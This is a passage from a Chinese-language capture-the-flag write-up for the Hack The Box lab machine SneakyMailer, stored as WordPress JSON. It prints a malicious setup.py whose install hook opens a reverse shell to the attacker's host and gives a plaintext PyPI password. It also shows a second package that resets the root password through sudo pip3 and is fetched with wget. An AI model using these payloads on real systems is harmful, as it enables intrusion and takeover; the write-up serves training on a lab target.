install\n\nclass ReverseShell(install):\n  def run(self):\n    lhost = \"10.10.14.19\"\n    lport = 4444\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((lhost, lport))\n    os.dup2(s.fileno(), 0)\n    os.dup2(s.fileno(), 1)\n    os.dup2(s.fileno(), 2)\n    p = subprocess.call([\"\/bin\/bash\", \"-i\"])\n\nsetup(name='reversepypi', version='0.0.1', description='reverse a shell', url='http:\/\/127.0.0.1\/', author='sparkle', author_email='sparkle@test.com', license='MIT', zip_safe=False, cmdclass={'install': ReverseShell})<\/code><\/pre>\n<p>\u7f16\u5199\u5b8c\u6210\u540e\u521b\u5efa<code>~\/.pypirc<\/code>\u6587\u4ef6\uff0c\u6307\u5b9a\u8fdc\u7a0b<code>PIP<\/code>\u670d\u52a1\u5668\u7684\u5730\u5740\u548c\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<pre><code class=\"language-plain\">[distutils]\nindex-servers = htb_sneakymailer\n\n[htb_sneakymailer]\nrepository: http:\/\/pypi.sneakycorp.htb:8080\nusername: pypi\npassword: soufianeelhaoui<\/code><\/pre>\n<p>\u968f\u540e\u6253\u5305\u76ee\u5f55\u5185\u6587\u4ef6\u5e76\u4e0a\u4f20\uff0c\u548c\u5728\u653b\u51fb\u673a<code>4444<\/code>\u7aef\u53e3\u542f\u52a8\u76d1\u542c\uff1a<\/p>\n<pre><code class=\"language-shell\">python3 setup.py sdist register -r htb_sneakymailer upload -r htb_sneakymailer\nrlwrap nc -l -p 4444 -s 10.10.14.19<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730280527095-1c3f9018-4ba3-48f0-a4e3-4449d0fafcfa.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>pip\u63d0\u6743<\/h2>\n<p>\u79fb\u52a8\u81f3<code>low<\/code>\u7528\u6237\u540e\uff0c\u53d1\u73b0\u5f53\u524d\u7528\u6237\u53ef\u4ee5\u4f7f\u7528<code>sudo<\/code>\u4ee5<code>root<\/code>\u8eab\u4efd\u8fd0\u884c<code>\/usr\/bin\/pip3<\/code>\u547d\u4ee4\uff0c\u76f4\u63a5\u8fdb\u884c<code>pip<\/code>\u63d0\u6743\u3002<\/p>\n<p>\u9996\u5148\u521b\u5efa<code>setup.py<\/code>\u6587\u4ef6\u7528\u4e8e\u4fee\u6539<code>root<\/code>\u7528\u6237\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-python\">import os\nfrom setuptools import setup\nfrom setuptools.command.install import install\n\nclass ModifyRootPwd(install):\n    def run(self):\n        os.system(\"echo -n '*********n*********' | passwd root\")\n        os.system(\"echo '*********' | su root\")\n\nsetup(name=\"GetRootShell\", version=\"0.0.1\", description=\"GetRootShell\", url=\"http:\/\/sparkle.test\/\", author=\"sparkle\", author_email=\"sparkle@test.com\", license=\"MIT\", zip_safe=False, cmdclass={'install': ModifyRootPwd})<\/code><\/pre>\n<p>\u968f\u540e\u5728\u9776\u673a\u4e0a\u521b\u5efa\u6587\u4ef6\u5939<code>GetRootShell<\/code>\uff0c\u5c06\u653b\u51fb\u811a\u672c\u4e0b\u8f7d\u81f3\u8be5\u6587\u4ef6\u5939\u5185\uff0c\u63a5\u7740\u4f7f\u7528<code>pip<\/code>\u8fdb\u884c\u5b89\u88c5\uff1a<\/p>\n<pre><code class=\"language-shell\">mkdir GetRootShell &amp;&amp; cd GetRootShell\nwget http:\/\/10.10.14.19\/setup.py\nchmod 777 setup.py\nsudo \/usr\/bin\/pip3 install . --upgrade --force-reinstall<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1730283943958-880b463e-755b-4711-8e60-a3c6bb29e300.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.197 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.10.197 (10.10.10.19 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-191","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/191","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=191"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/191\/revisions"}],"predecessor-version":[{"id":192,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/191\/revisions\/192"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=191"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=191"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=191"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}